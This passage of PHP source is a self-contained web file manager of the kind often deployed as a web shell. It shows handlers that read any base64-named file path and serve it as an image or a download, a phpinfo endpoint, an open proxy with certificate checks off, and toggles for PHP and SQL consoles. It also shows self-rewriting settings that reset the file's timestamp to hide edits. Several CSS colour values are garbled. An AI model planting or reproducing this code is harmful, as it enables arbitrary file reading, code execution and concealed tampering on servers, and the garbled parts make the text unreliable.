<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
